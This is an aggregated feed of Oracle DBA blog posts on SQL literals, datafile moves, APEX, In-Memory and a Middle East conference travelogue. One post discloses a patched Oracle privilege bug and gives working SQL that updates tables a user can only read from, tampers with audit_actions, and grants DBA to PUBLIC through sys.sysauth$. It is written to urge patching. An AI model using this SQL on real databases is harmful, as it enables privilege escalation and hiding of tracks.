Feed aggregator

OBIEE Training Site

Abhinav Agarwal - Tue, 2014-06-24 13:33
I was contacted by Seth Williams, who pointed me to this OBIEE training site - http://www.fireboxtraining.com/obiee-training, and asked if I would link to it. There is a an online tutorial, as well as a video, on how to create KPIs using OBIEE - How To Use KPIs | OBIEE Online Training Tutorial

I think this is useful, so am posting it to my blog - which, by the way, you would have seen is not being updated regularly. Feel free to browse to the site. Do let Seth and the people at Firebox know what you think of the site and the tutorial.

Disclaimer: I am not endorsing the site or the trainings. But you know that.

The Art of War for Small Business

Surachart Opun - Mon, 2014-06-23 11:51
The Art of War is an ancient Chinese military treatise attributed to Sun Tzu, a high-ranking military general, strategist and tactician. A lot of books have written by using Sun Tzu's ancient The Art of War and adaptation for military, political, and business.

The Art of War for Small Business Defeat the Competition and Dominate the Market with the Masterful Strategies of Sun Tzu, this is a book was applied the Art of War for small business. So, it's a perfect book for small business owners and entrepreneurs entrenched in fierce competition for customers, market share, talent and etc. In a book, it was written with 4 parts with 224 pages - SEIZE THE ADVANTAGE WITH SUN TZU, UNDERSTANDING: ESSENTIAL SUN TZU, PRINCIPLES FOR THE BATTLEFIELD, ADVANCED SUN TZU: STRATEGY FOR YOUR SMALL.
It's not much pages for read and it begins with why the art of war should be used with the small business and gives lot of examples and idea how to apply the art of war with the small business and use it everyday (It helps how to Choose the right ground for your battles, Prepare without falling prey to paralysis, Leverage strengths while overcoming limitations, Strike competitors' weakest points and seize every opportunity, Focus priorities and resources on conquering key challenges, Go where the enemy is not, Build and leverage strategic alliances).

After reading, readers should see the picture of  the common advantages and disadvantages in the small business and why the small business needs Sun Tzu. In additional, Readers will learn the basic of the art of war and idea to apply with the small business. It shows the example by giving the real world of small business.




Categories: DBA Blogs

Literally speaking

Gary Myers - Fri, 2014-06-20 22:14
Reading Scott Wesley's blog from a days ago, and he made a remark about being unable to concatenate strings when using the ANSI date construct.

The construct date '1900-01-01' is an example of a literal, in the same way as '01-01' is string literal and 1900 is a numeric literal. We even have use some more exotic numeric literals such as 1e3 and 3d .

Oracle is pretty generous with implicit conversions from strings to numbers and vice versa, so it doesn't object when we assign a numeric literal to a CHAR or VARCHAR2 variable, or a string to a NUMBER variable (as long as the content is appropriate). We are allowed to assign the string literal '1e3' to a number since the content is numeric, albeit in scientific notation.

So there are no problems with executing the following:
declare
  v number := '1e3';
begin
  dbms_output.put_line(v);
end;
/

However while 3d and 4.5f can be used as numeric literals, Oracle will object to converting the strings '3d' or '4.5f' into a number because the 'f' and 'd' relate to the data type (Binary Float and Binary Double) and not to the content.

Similarly, we're not allowed to try to use string expressions (or varchar2/char variables) within a date literal, or the related timestamp literal. It must be the correct sequence of numbers and separators enclosed by single quotes. It doesn't complain if you use the alternative quoting mechanism, such as date q'[1902-05-01]' but I'd recommend against it as being undocumented and superfluous.

Going further, we have interval literals such as interval '15' minute .In these constructs we are not allowed to omit the quotes around the numeric component. And we're not allowed to use scientific notation for the 'number' either (but again the alternative quoting mechanism is permitted). 

I've built an affection for interval literals, which are well suited to flashback queries.

select versions_operation, a.* 
from test versions between timestamp sysdate - interval '1' minute and sysdate a;

Confusingly the TIMESTAMP keyword in the query above is part of the flashback syntax, and you have to repeat the word if you are using a timestamp literal in a flashback query. 

select versions_operation, a.*

from test versions between timestamp timestamp '2014-06-21 12:50:00' 
                   and sysdate a


Move That Datafile!

alt.oracle - Thu, 2014-06-19 15:56
Moving datafiles has always been a pain.  There are several steps, it’s fairly easy to make a mistake and it requires the datafile to be offline.  There are also different steps depending on whether the database is in ARCHIVELOG mode or not.  In ARCHIVELOG mode, the steps are…

1)      Take the tablespace containing the datafile offline
2)      Copy/rename the datafile at the OS layer
3)      Use ALTER TABLESPACE…RENAME DATAFILE to rename the datafile so that the controlfile will be aware of it
4)      Backup the database for recovery purposes (recommended)

If the database is in NOARCHIVELOG mode, you have to shutdown the DB, put it in the MOUNT state, etc, etc.  That’s certainly not that hard to do, but you get the feeling that there should be a better way.  Now in Oracle 12c, there is – using the ALTER DATABASE MOVE DATAFILE command.  With this command, you can move a datafile, while it’s online, in one simple step.  Let’s set this up.

SQL> create tablespace test datafile '/oracle/base/oradata/TEST1/datafile/test01.dbf' size 10m;

Tablespace created.

SQL> create table altdotoracle.tab1 (col1 number) tablespace test;

Table created.

SQL> insert into altdotoracle.tab1 values (1);

1 row created.

SQL> commit;

Commit complete.

Let’s go the extra mile and lock the table in that datafile in another session.

SQL> lock table altdotoracle.tab1 in exclusive mode;

Table(s) Locked.

Now let’s use the command.

SQL> alter database move datafile '/oracle/base/oradata/TEST1/datafile/test01.dbf'
  2   to '/oracle/base/oradata/TEST1/datafile/newtest01.dbf';

Database altered.

That’s all there is to it.  Datafile moved/renamed in one step while a table it contained was locked.

SQL> select file_name from dba_data_files where file_name like '%newtest%';

FILE_NAME
--------------------------------------------------------------------------------
/oracle/base/oradata/TEST1/datafile/newtest01.dbf
Categories: DBA Blogs

Android Update: 4.4.3

Dietrich Schroff - Thu, 2014-06-19 12:36
After nearly everyone upgraded to 4.4.3 my device came up with the icon for upgrading android to its next version:

For a complete history of all updates visit this posting.

Intermediate Python Practical Techniques for Deeper Skill Development

Surachart Opun - Thu, 2014-06-19 10:40
It's time to learn more about Python. I found "Intermediate Python Practical Techniques for Deeper Skill Development" video course by Python expert Steve Holden.
It's very useful for Python video learning, but users should have basic about Python. They must install ipython.
Note start ipython by " ipython  notebook" command and users can check how to install ipython?and users should download example codes at https://github.com/DevTeam-TheOpenBastion/int-py-notes

This video course gaves deeply Python learning topics by using iPython, including:

  • Functions: return values, arguments, decorators, and the function API
  • Comprehensions, generator functions, and generator expressions
  • Understanding the import system and namespace relationships
  • Using the Python DB API to query and maintain relational data, and JSON to extract data from the Web
  • The NumPy, SciPy, and Matplotlib libraries for numerical and analytical computing
  • An introduction to unit testing with unit test
  • Deeper understanding of Unicode, with explanations of encoding and decoding techniques and the relationship between byte strings and text
  • An introduction to textual analysis using regular expressions
  • Information sources for documentation, further research, and coding style considerations

First of all, Users should install "ipython" and download examples codes. Users will be able to learn Python each topic easier, because it's easy to follow each example demo in video. It's very good to use this video course and iPython for Python improvement.

Categories: DBA Blogs

Oracle Application Express 5.0 Early Adopter 2 now available!

Joel Kallman - Wed, 2014-06-18 18:48
Just in time for the ever-awesome ODTUG KScope 14 conference...we are happy to announce the availability of Oracle Application Express 5.0 Early Adopter 2.  The response from Early Adopter 1 was overwhelming (with over 4,000 participants), and we look forward to the same great contributions from the APEX community for Early Adopter 2.  You can access the Early Adopter 2 at https://apexea.oracle.com.

As before, the authentication for Oracle Application Express requires an Oracle account.  This is the same account you would use for many Oracle sites, including the OTN Community discussion forums.  If you don't have an account, then simply follow the instructions on the login page to "Sign up for a free Oracle Web account".  However, ensure that you specify the same email address as your Oracle Web account when requesting a new workspace.

The Known Issues will be populated soon, as well the application to review your submitted feedback.  Our team has made tremendous strides since Early Adopter 1, and we continue to believe that APEX 5.0 will become a watershed release for APEX and the community.

Thank you for all of your support.

Is your database secure? Are you sure? Are you *really* sure?

Mathias Magnusson - Wed, 2014-06-18 08:47

A friend and at the time co-worker at Kentor AB found this bug. He found the bug and had the tenacity to track down and prove that it was a bug and not just a flaw in the logging mechanism where this first was indicated to occur.

Today is the day when I can finally speak about a bug I asked for a peer review on over a year ago. I had to pull that blog post offline when it was clear that we had in deed found what I think is a monster bug. It was difficult to fix so while it was quiet online about the bug, Oracle was hard at work on fixing it. In fact it turned out to be two different bugs each plugged separately.

Before we get to the meat of the issue, have you applied the January 2014 CPU? No? OK, we’ll wait while you take care of that. Trust me, you want to have it installed. Back already? Good. Patching really doesn’t take too long. :-)

I’ve spent a number of years trying to very diligently apply the correct grants for different users to make sure every user had just what they needed. It turns out it was a wasted effort. Had the users known about this bug, they could have circumvented their lack of access. Truth be told, I really have no idea if someone did. In fact the bug was such that it was abused in production at a large Oracle shop by mistake. This bug is present in all versions of the database (as far as we know) and it has been fixed with the latest CPU for 11g and 12c. If you run on an older version, you should upgrade now! Running older than 11 at this point probably means you’re not reading blogs about databases anyway.

So what exactly is the bug then? In short, you can update data in tables you only have select rights on. How can that be, you’ve tested that multiple times. True, the SQL has to be written in a pretty specific way to trigger the bug. In a database that is a base install or at least predates the january CPU, the following test case should prove the issue. You can use most of this to verify the problem, you will probably not ant to test with privilege escalation in a production system though.

Let us first create som users for our test.

drop user usra cascade;
create user usra identified by usra default tablespace users;
alter user usra quota unlimited on users;
grant connect to usra;
grant create table to usra;
--
drop user usrb cascade;
create user usrb identified by usrb;
grant connect to usrb;
grant create view to usrb;
--
drop user usrc cascade;
create user usrc identified by usrc;
grant connect to usrc;
grant select any dictionary to usrc;

We create a user usra that can create tables, usrb that can create views and usrc that can only select from the dictionary. These users will allow us to test the different versions of this bug in a controlled fashion.

Lets set up a test table in the usra account.
create table t1 (col_a varchar2(10) not null);
insert into t1 (col_a) values ('Original');
--
commit;
--
grant select on t1 to usrb;

We now have a table with a single row that usrb can only read from, or so we would think. Let us first create a very basic view and try to update it.
drop view view1;
create view view1 as select * from usra.t1;
update view1 set col_a = 'Whoops1';

So that didn’t work. Or rather, the view was created but the update failed. That is how it should be, we have no update access on the table.

Lets now try to create a view on that view which we then update to see what happens if we add just a little bit of complexity to this.

drop view view2;
create view view2 as select * from view1 where col_a in (select max (col_a) from view1 group by col_a);
update view2 set col_a = 'Whoops2';

This update suddenly works (before the above mentioned CPU). So our meticulously granted privileges are overridden by a view with a sub-select on the same view. Not good.

Could the sub-select be simplified? Does it need to select from the same view and is an aggregation needed to make this bug expose itself?

drop view view3;
create view view3 as select * from view1 where 1 in (select 1 from dual);
update view3 set col_a = 'Whoops3';

Apparently it could not be simplified enough to just do a sub-select from dual. On to other possible simplifications.

What if we just read a hard-coded value from the first row in the table, would that work?
drop view view4;
create view view4 as select * from view1 where 1 in (select 1 from view1 where rownum = 1);
update view4 set col_a = 'Whoops4';

Yup, that is enough to break through the privileges.

How about just using a select without even having to have the right to create a view?
update
(with x as (select * from usra.t1) select * from x) t1
set col_a = 'Whops5';

Ouch. That too was possible. So all it takes is a select access on a table and we can update it. How do we stop someone from abusing this when not even a pure select with no right to create objects is enough? You see why we pulled the original blog-post? This was for a time something that would be very hard to defend your database against.

How about using it to update things in the data dictionary, yes that too is possible. Some things are available to any user such as user_actions.

update
(with x as (select * from audit_actions) select * from x) t1
set name = 'Mathias was here';

This update also works. So auditing can be changed, probably not a good thing if you trust your audit_actions table.

How about escalating the privileges we have (or rather that anyone has). Yes, that is also possible with a bit of knowledge.

select * from sys.sysauth$
where grantee# = (select user_id from all_users where username = 'HR')
and rownum = 1;

Here we steal a privilege held by the HR user, probably a privilege that will not be missed for a long time in most databases. With this we will make public a proper DBA user meaning that any account can do almost anything in the database.

update
(with x as (select * from sys.sysauth$ where grantee# = 103 and privilege# = -264 and sequence# = 1551)
select * from x) t1
set grantee# = 1
,privilege# = 4;

Just like that we have given ourselves and everyone else DBA access. Now we can do whatever we want including covering our tracks in most databases.

So I ask again, are you *really* sure that your database is secure?

This is scary stuff and this only goes to show that even a mature product needs to be kept up with current patches. If you are not on a CPU from this year, PLEASE give it a high priority to make it happen today.

And PLEASE do not test this in production. If you do and your DBA catches you, he will lecture you forever if not reporting you up the chain of command. But please do spread the word that this issue exists and needs to be plugged ASAP.


The empire strikes back!

Karl Reitschuster - Wed, 2014-06-18 06:31

About 3 years ago SAP started to create a new database engine, SAP HANA, with a pure In-Memory concept. SAP aggressively move it's new database to it's software stack. The database was not used as cache but for running Enterprise Application satisfying both OLTP and OLAP demands on the same database.  

As oracle announced the new Oracle 12c in late 2012 there the 'c' was for cloud based computing, means the simplification of creating several database instances under the hood of a container parent database. For the end user this wasn't a visible benefit. It seemed Oracle did ignore SAP HANA. But even you cannot compare number installed databases for SAP HANA and Oracle HANA made an impact. Something new and very visible to the end user arises.

Now about a half year Oracles In-Memory Option announcement the European launch event was done on Tuesday this week. In the radison Blue hotel - which was a very exciting and comfortable place for that - the conference room was much more filled up with the oracle followers then the soccer arenas of this years soccer world championship.



The event was well organized and mixed up with high professional speakers.

What still in my mind was ...

Maria Colgan introduced the more detailed usage and environment of the Oracle In-Memory Option. She did it in a so clear and compact form - I am really impressed. Also the life demos have been amazing.

I was also impressed about Dr. Maaike Limper's session. She works as scientist at CERN; and tested to use the In-Memory Option to get faster analysis about particle collisions and used a data model of particle typed tables with hundreds of parameter per particle and immense number of rows. By using the In-Memory Option she said it was possible to play with data to drill down and possible find something new due the detected data patterns of the sampled particle sensor data.

Finally Dr. Dietmar Neugebauer  held a session like 'is the DWH dead now?' which proofed clearly the DWH is not only about analytic queries and so superfluous but also to consolidate and validate data from different data-sources/systems of the whole company. So the DWH is not dead with introduction of the new In-Memory Option. Maybe some 1:1 replication of operative data will get obsolete.

At the end of the event everybody knows and feels something has happened in the database world which will be visible for all end users and will have a tremendous effect on system landscapes and software development - back to database centric ultra-fast processing.

/Karl

Oracle GoldenGate Data Transformation

VitalSoftTech - Tue, 2014-06-17 22:05
Oracle GoldenGate supports data mapping and manipulation. It is done by using options of Table (Extract) and Map (Replicat) parameters. By default OGG assumes that SOURCE and TARGET table definitions are same that part of replication.
Categories: DBA Blogs

9th Planboard DBA Symposium

Rob van Wijk - Tue, 2014-06-17 17:23
A couple of months ago, Nienke Gijsen invited me to speak about materialized views at the upcoming Planboard DBA Symposium. Because I had the pleasure of presenting before, I knew the conference is always well organized and a pleasure to visit. So of course I accepted the invitation. We agreed I'd talk on "just" incremental refreshes of materialized views using materialized view logs and about myRob van Wijkhttp://www.blogger.com/profile/00499478359372903250noreply@blogger.com0

The Hitchhiker’s Guide to the EXPLAIN PLAN (Act II)

Iggy Fernandez - Mon, 2014-06-16 14:04
Over at ToadWorld: Part 5: SQL Sucks! Part 6: Trees Rule Part 7: Don’t pre-order your EXPLAIN PLAN Part 8: Tree Menagerie Bonus article: Equivalence of Relational Algebra and Relational Calculus The story so far: A relational database is “a database in which: the data is perceived by the user as tables (and nothing but tables)  and […]
Categories: DBA Blogs

A terribly oblivious ultra-rich man

FeuerThoughts - Mon, 2014-06-16 09:48
Steve Ballmer is a terribly oblivious ultra-rich man.

His offer of $2B for the Los Angeles Clippers is so ridiculously outsized and unjustified, plus it so richly rewards Sterling for, um, for saying something in private.

[Interesting to consider how in the US, land of free speech, this nasty brutish fellow is being punished -well he was being punished before Ballmer rewarded him - for his private thoughts. That's pretty awful when you think about it.]

Anyway back to Ballmer. His offer is so absurd that it becomes patently obvious to everyone that he has so much money it's simply no big deal for him to throw $2B on the table to unambiguously cinch the deal. 

The aristocracy in France did quite well, too, until they forgot that they were supposed to pretend at lesat a little bit that everyone else weren't virtually slaves for them. But when they got too flagrant, they paid, oh how they paid.

And here in the 21st century, in what is supposedly and still formally a democracy, with citizens supposedly being equal under the law, you really don't want to draw attention to your beyond obscene wealth.

Bad move, Ballmer. If I were a fellow billionaire, I'd get in touch and tell him to tone it down. 
Categories: Development

The closer you look....

FeuerThoughts - Mon, 2014-06-16 09:45
In the last couple of years, I have shifted my attention away from the human condition (wars here and there, cool new gadgets, etc.) to the non-human condition: the natural world of trees, water, creatures large and small, the process of evolution.

Along the way, I have been reminded that what you pay the most attention to is what your brain spends the most time thinking about (at least the parts of my brain that "I" am "conscious" of). So I need to be careful about what I pay attention to (one reason that I have stopped watching television almost completely). 

And spending ten plus hours a week outdoors, in the woods, cutting back invasives and rescuing trees, has reinforced this to me:

With living things, the more I watch and more closely I watch (and smell and taste), the more amazed I am by the wonders of life. And the more alive I feel,

With manufactured things, it is just the opposite.

The more closely I look at something made by humans, the more sterile, dead and energy-sucking it appears. And the more I watch (or smell or taste), the more deadened I feel.

Perhaps this is not such a big surprise, since everything that humans make is dead, and built upon the deaths of many creatures. Sorry if that sounds like such a downer, but I believe it is simply a statement of fact.

Anyway, no need to feel down. Just go outside, into the trees, into a field, away from things we make, take a deep breath, feel the sun on your face....and you will feel much better.
Categories: Development

Oracle Tours Africa and the Middle East

Look Smarter Than You Are - Sun, 2014-06-15 11:33
Happy Father's Day, everyone!  I got up early this morning to write about my recent experience traveling the world on Oracle's behalf.  I got to attend the first annual Oracle Technology Network tour of Africa and the Middle East.  It made 2 stops in North Africa (both in Tunisia), 2 stops in Saudi Arabia, and the final stop was in Dubai, UAE.

Tariq Farooq first mentioned the idea of doing a MENA (Middle East & North Africa) tour to me in Beijing last fall.  He asked if I'd be willing to travel half-way around the world to speak to people in English that primarily spoke French and Arabic, and I - of course - said "yes."  Here's Tariq being interviewed by Lillian Buziak at Collaborate 2014 (audio is a bit difficult to hear):


I had two reasons for wanting to go: I do love educating/evangelizing for Oracle EPM, BI, and Business Analytics.  The possibility of reaching new audiences for the first time was exciting. My other reason for going was that I wanted to experience totally different cultures than I ever have before.  I've spoken on 5 continents (now 6 after this tour and I'm anxiously awaiting the OTN Tour to Antarctica) before and have seen presented everywhere from a women's college in Mumbai that was 95F with no air conditioning in the presentation room to a ballroom in the Philippines that had 3 simultaneous English sessions going on (in one room!) all happily observed by smiling Filipinos.  From China to India to Australia to Germany, I have seen some amazing slices of life, but nothing prepared me for the differences I saw on this tour.

In each of the sections below, I have linked the header to a blog from my new best German friend, Bjoern Rost.  He blogged after every stop and unlike me, he actually understood all the Oracle RDBMS sessions on the tour.  Visit http://portrix-systems.de/blog/author/brost/ to see his entertaining blog posts.  (Warning: though I think Bjoern is hilarious, being German, you may find his posts to be 'not funny.'  German humor is an acquired taste.)

I left for the first stop, Tunisia, on Memorial Day (in the USA), May 26, 2014...




Tunisia, May 27To get to Tunisia in time for my session, I left Dallas. Texas at 10AM on Monday, flew to JFK (New York City), flew to Rome, flew to Tunis, and had a nice car waiting for me at the airport compliments of our hosts in Tunisia.  I landed at 10:30AM on Tuesday and considering I was flying to Africa, I felt that the trip went by quickly.  I made it through customs in Tunis in about 15 minutes, walked out the front door of the hotel, and was in an entirely different world.

Speaking in North America, South America, Europe, Asia, and Australia had done absolutely nothing to prepare me for Africa.  The closest thing I could compare it to in my life (but the comparison does not do it justice) was the cities of India: chaotic, dirty, cramped, foreign, and chaotic (worth mentioning again).  Now take all that, remove the cows, and make it Muslim.

My host picked me up in a nice car and we began the hour drive to Beja where the conference was being held.  We passed mounds of trash piled up in the center of the roads though thankfully the heat (high was ~75F when I arrived) didn't make the place smell horribly.  Traffic laws seemed to be non-existent, but it moved fairly quickly being in the middle of the day.  I loved looking out the window at the shops along the road and carts selling watermelon approximately every 100 feet (I was told by my host that it was watermelon season).

We left the city about 20 minutes after I got in the car and I was suddenly in Tuscany.  At least, it looked like Tuscany: fields of amber waves of grass, wide open spaces, wildflowers, lakes, olive groves, country life, gorgeous hills... truly one of the most beautiful countrysides I've seen in my entire life.  Since I had been traveling for over a day, the pleasant scenery soon lulled me to sleep.


My driver woke me up when we got to the technical university in Beja. I walked in to find Tariq trying to explain Oracle Enterprise Manager to a bunch of college students who didn't seem to understand databases let alone Oracle.  I tried to hide in one of the back seats, but Tariq immediately called me up on stage to answer a question about how to develop optimal databases.

Not long after I got there, we broke for lunch.  Our hosts took us to a traditional Tunisian restaurant in downtown Beja.  They were kind enough to make me vegetarian food.  Lunch is apparently a sacred event not-to-be-hurried in Tunisia, so we made it back to the university over 2 hours after we left, fully satiated.

I volunteered to give a session introducing Big Data and Analytics to the college kids, because I felt that it required little technical background.  It seemed to go over well.  My favorite part was when I told a joke about the differences in social media sites and only 10 people laughed.  The people on either side of those 10 then asked them to repeat in Arabic and French what I had said, which caused those people to laugh.  They then shared it around the room and it was like a disease vector of laughter that took 2 minutes to make it around to the 150+ students in the room.  In case you haven't seen it, here's essentially what I said out-loud:
After the sessions were over, I asked one of the professors why everyone listened so intently if they had no background in Oracle.  I mentally wondered if it was because I was an awesome presenter bringing the gospel of Oracle to the future of Africa.  I was told "they didn't understand a lot of what you were saying, but they love listening to people speak English."  So much for my future African disciples.
Our hosts offered to drive us to Dougga, the so-called "best preserved Roman ruins outside of Italy."  It sounded like an exaggeration, but it was actually an understatement. Dougga was once a "small" Roman town on the fringes of the empire... and the miles of town are for the most part still there.  We arrived shortly after they closed the gates for the day.  Our hosts got out of the front car in our 4-car caravan to talk to the guards.  I was in the last car and saw an interesting polite dialog when our hosts started pointing to my car.  I waved back.  The guard smiled and raised the gates for our caravan to enter.  I wondered if bribing had occurred, so I asked how we got in after hours.  Our gracious hosts explained that I was renowned historian, Edward Roske, a visiting professor from the United States of America whose sole purpose for being in Tunisia was to see the Dougga ruins.  They said I should take lots of pictures and walk around looking officially important.  I discovered later that they weren't kidding: they really did tell this to the guard, so I took at least 50 pictures and took some very official selfies to help sell my renowned historian status.




The ruins were truly majestic.  Every time I came around a bend, there was another temple, theatre, circus, road, market, tunnel, column, arch, statue, or something else 2,000 years old to be seen.  It is all in a semi-wild state with no borders separating the ruins from the countryside.  There were even wildflowers growing in the central square:
My favorite moment of the entire trip occurred when I broke away from the rest of our group to go explore some arches on the edge of the ruins.  I went to take a picture of one of the doorways, and I got photobombed:
I went through the doorway to discover a local sheepherder grazing his sheep right in the ruins:

They started on the edge of the ruins but eventually the herder marched his sheep right down the center of the 2,000 year old road leading through Dougga.  Tariq decided to join their herd:
I can't stress enough how amazing this site is.  I would encourage people to visit Tunisia if for no other reason than to see Dougga and Carthage.  You have never felt Roman society like you can wandering around the ancient town with only sheep to keep you company.

Eventually, the guards at the entrance (the only guards in the place, so far as we could tell) came to find our renowned historian group because they wanted to go home.  We stayed the night in the Golden Tulip Hotel in Carthage which was a 4-star hotel for under $200 USD per night.  I recommend it to anyone.  The next morning, the OTN MENA 5 (Tariq, Mike Ault, Bjoern, me, and Jim Czuprynski) headed for the flight to Cairo then on the Riyadh.


Saudi Arabia, May 29-31While the Islam is a part of the culture in Tunisia, Islam is the culture in Saudi Arabia.  I have never seen a country more dominated by a single religion than Saudi Arabia.  It is one of the most difficult places in the world to get a visa (they suspended tourist visas 5 years ago) and it's even harder for a non-Muslim like me.  I spent 4 hours clearing customs which gave me a lot of time to study up on what I was in for.

My guidebook (and several websites) told me about all the things I wasn't allowed to do, say, or maybe even think when I got to Saudi.  Here's what I was told versus what actually happened:
- Muslims everywhere.  Yes, 100% true.  They have calls to prayers everywhere and we had to stop presenting when it was time for prayer.  The whole city stops, for that matter, when it's prayer time.  I was lucky enough to be in a public park for evening prayer one day.  The sounds of the call to prayers across the city were beautiful.

- Traffic fatalities.  90% true.  Saudi apparently has the highest incidence of traffic fatalities in the world because traffic laws are more like traffic vague suggestions only to be followed if everyone has plenty of time and sort of feels like it.  I was prepared to almost die every time I got in a car, and while I saw no deaths, I saw multiple car accidents of the fender bender type each day I was in Saudi.  At one point, we were stopped at a red-light to make a left turn.  With traffic coming from both directions in front of us, a car behind us who wanted to make a left-hand turn felt that our stopping was delaying his day.  He didn't honk or behave rudely in any way: he just drove around us and made the left-turn on the red into oncoming traffic.  No one seemed annoyed at the man for doing it.
- Pornography.  100% nonexistent in Saudi.  They even go through the magazines in the shops and black out with a sharpie anything that's considered too revealing (shoulders, waists, knees, etc.).  They also sharply monitor the web and block out any site deemed inappropriate (including Bing.com with safe search set to anything but strict).
- Pictures of other people.  0% true.  I was told before I went that Muslims do not believe in having images taken of people.  What I actually found was the most selfie-absorbed culture I've ever seen, and I live in America with a teenage child.  I couldn't walk 10 feet at the Riyadh or Jeddah events without someone taking a picture.  I was also told that you couldn't take pictures of public buildings or in public buildings (like the national museum).  Totally untrue: people were taking pictures of just about anything except women.
- Women being covered.  100% true.  All the women wore black abbeyahs at all times.  You're not allowed to film them or talk to them.  That said, I didn't see that many.  Both the events in Riyadh and Jeddah were male-only.  We did see women in the public places particularly near retail outlets and in the city parks & museums.
- Men wearing suits.  25% true.  For the most part, the men wore traditional dress shirts and head coverings.  I wore a suit (no tie) which considering it was 110F+, was quite a sacrifice.  My fellow presenters wore ties in addition to their suits which proves they're more willing to sacrifice for the cause of Oracle.
- No alcohol. 100% true but weird.  The first night I got to Riyadh, I opened my minibar to find... a Budweiser.  Closer examination revealed it was a "Budweiser NA" signifying no alcohol.  Every restaurant we went to offered us "Saudi champagne" or "Saudi wine" which apparently means alcohol-taste without any actual alcohol.  Since I hate the taste of alcohol, I didn't think non-alcoholic alcohol would taste any better, so I avoided it.
- No narcotics.  100% true so far as I was willing to test it.  I actually panicked during customs at the thought that maybe I had some prescription drug in my laptop bag that had a narcotic in it.  Narcotics are a capital crime in Saudi, and I spent most of my 4 hours wondering if Ambien counts as a narcotic.  Luckily for me, I wasn't executed for sleep aid smuggling.

After the worst customs experience of my entire life at the airport in Riyadh, I got to the Marriott hotel for about 4 hours sleep before the day was to begin.  I got to go up to the concierge floor for an elaborate breakfast and a great view of the Riyadh skyline.

The Riyadh venue was spectacular.  The hosts (eSolutions) put on one of the best events I've ever attended on an OTN tour.  From the venue to the signage to the elaborate Lebanese food lunch to the photographer to the videographer to the speaker gifts, it was all top-notch.  Like in Beja, I presented on "Taming Big Data with Analytics" to an enthusiastic audience.  There were about 75 (all male) people there including several male children of the attendees.  They were some of the best behaved children I have ever seen even though some were elementary school age.
I got introduced at one point as "Edward Roske from the United States, a rich man who did not inherit his business from his father."  That was unique and though it left me speechless, the audience seemed very impressed at my ability to become head of a business without my father having to die first.

After the conference, our hosts took us to the National Museum.  Like much of Riyadh, it looks like it was built in the last 5 years, and in the case of a museum, this worked very well.  Since they built it all at once (versus many amazing museums around the world that were created over hundreds of years), it was able to tell a complete story from the beginning of the universe up through today (as opposed to just having rooms of collections).  It was a very Muslim-centric view of history, but I found the educational aspects fascinating.  The sign on the way in said no photography, but since the massive museum apparently only had 4 people working in it (all at the front desk), everyone ignored it.  I found a cube in the first hall that seemed Essbase-like.

My favorite exhibit was a scale model of Mecca and Medina as viewed at night.  Being non-Muslim, I will never see Mecca, so this is as close as I will ever get:
After the museum, our hosts took us to Kingdom Centre, the tallest building in Saudi Arabia (for now).  It has 30+ open stories at the top with a skybridge connecting them.  Here's a view from the ground of the building (notice the necklace like architecture with the bridge on top) and a view from the building of the ground:

Our hosts took us to dinner (which was unfortunately a meat-on-a-stick restaurant, unfortunately for me since I'm a vegetarian).  Since I wasn't able to eat much, I got to talk at length to the CEO of eSolutions.  He was a fascinating man who told me all about how Saudi Arabia and the Gulf Coast Community is ready for analytics and reporting.  He was a former Pakistani military man, but his love of country and family shined through in everything he said.

The following morning, we journeyed to Jeddah over on the Red Sea coast of Saudi near Mecca.  The weather was like Riyadh except with crazy humidity.  It reminded me of Houston on the hottest day of summer.  We were in Jeddah for less than 24 hours so I don't admittedly have a ton to say about it.  I saw nothing more than the airport, the drive to/from the hotel, the venue where we presented, and a fast casual restaurant (more tasty Lebanese food!) where we had dinner.

The venue was small since it was a half-day event and lightly attended.  I did ask if I could present on a different topic since I had gotten a bit bored talking Big Data all the time.  This time, I spoke on "In-Memory Databases" which is a hot topic these days thanks to the SAP guys saying "Hana" at least once every sentence.  After the morning event, the OTN MENA 5-1 (Bjoern went straight to Dubai since there weren't enough speaker slots in Jeddah) headed for the airport for the flight to the United Arab Emirates.  Getting out of Saudi took 2 minutes at Customs which goes to show, I guess, that they're a lot happier to get rid of you than let you in.

Dubai UAE, June 1I honestly don't know where to begin with Dubai.  It is truly one of the most amazing cities on Earth and almost indescribable to anyone who hasn't actually witnessed it.  My flight landed on Saturday evening in the largest airport I think I've ever seen.  Clearing customs took minutes then I headed for the cleanest (and probably newest since it just opened in 2009) train system in the world.  The view from the Dubai Metro was stunning.  If Riyadh looks like it was built in the last 10 years, Dubai looks like it was built in the last 10 minutes.  It reminds me of New York City if they took out all the advertising, 90% of the people, and any building under 1,000 feet tall.


I was lucky enough to stay at a hotel in the Burj Khalifa, the tallest building in the world (by far: the Burj is over 200 stories tall at over 2,500 feet).  The Burj sets all kinds of "tallest" records including the tallest outdoor observation deck.  Here's a view of several buildings below that are all over 1,000 feet tall (with an Edward in it for perspective).

My room had a view of the Dubai Fountains.  No offense, Vegas, but these fountains put the Bellagio fountains to shame. They're more agile, faster, better lit, larger, and frankly, classier. And if you're staying in the hotel in the Burj Khalifa, you can listen to the fountain music through the TV:


At the base of the Burj Khalifa is the Dubai Mall, the largest mall in the world (you hear a lot in Dubai of "that's the largest _____ in the world").  It's 3-4 times the size of Mall of America if that puts it in perspective.  It has over 1,200 shops, over 150 restaurants, and some of the strangest (yet up-scale) stores you've ever seen.  There was one selling full-size metal camels, for instance (these were the only camels I saw on my trip).  I ate at the Dubai Mall every day I was in Dubai and felt I could eat there every day for a year without repeating an entree.  I am normally not a fan of malls, but I loved the Dubai Mall.  It wasn't crowded and the people that were there kept to themselves.  This could actually be said about everywhere in the Middle East: the people are nice, but they keep to themselves.  For an introvert like me, it's heaven.  You can be alone in a crowd.


The first full day I was there, I presented in the morning, burned my feet on the sands of a beautiful beach at lunch, and was skiing in the afternoon.  Yes, skiing.  The Mall of the Emirates (another mall that dwarfs anything we have in the USA) is not only massive, it has its own indoor ski resort inside.  It's not a tiny ski hill either: it's 1,200 feet long with three separate runs (a blue/intermediate run, a green/beginner run, and a small terrain park).  They also have lots of other fun activities to do including a penguin exhibit, ziplining over the ski hill, sledding, and large transparent hamster balls to roll down the hill in.

For around $50 USD, you get a lift ticket, ski pants, ski jacket, boots, skis, and poles for 2 hours.  A full-day pass is only around $15 USD more but I opted for 2 hours.  (You can only ski indoors in Dubai so much, obviously.)  There were at most 15 people skiing, but there were hundreds of people from the Middle East paying their $50 to ride up and down the ski lift basking in the glory of being cold.  The whole place is chilled to around 23F and the snow is glorious: it's soft and velvety because they actually make it snow indoors every night (unlike the ice blowers we use for man-made "snow" in the USA).  I skied for my full 2 hours without a break and I loved that I was so cold by the end that I had to go back into the mall and get a soy hot chocolate at Starbucks.

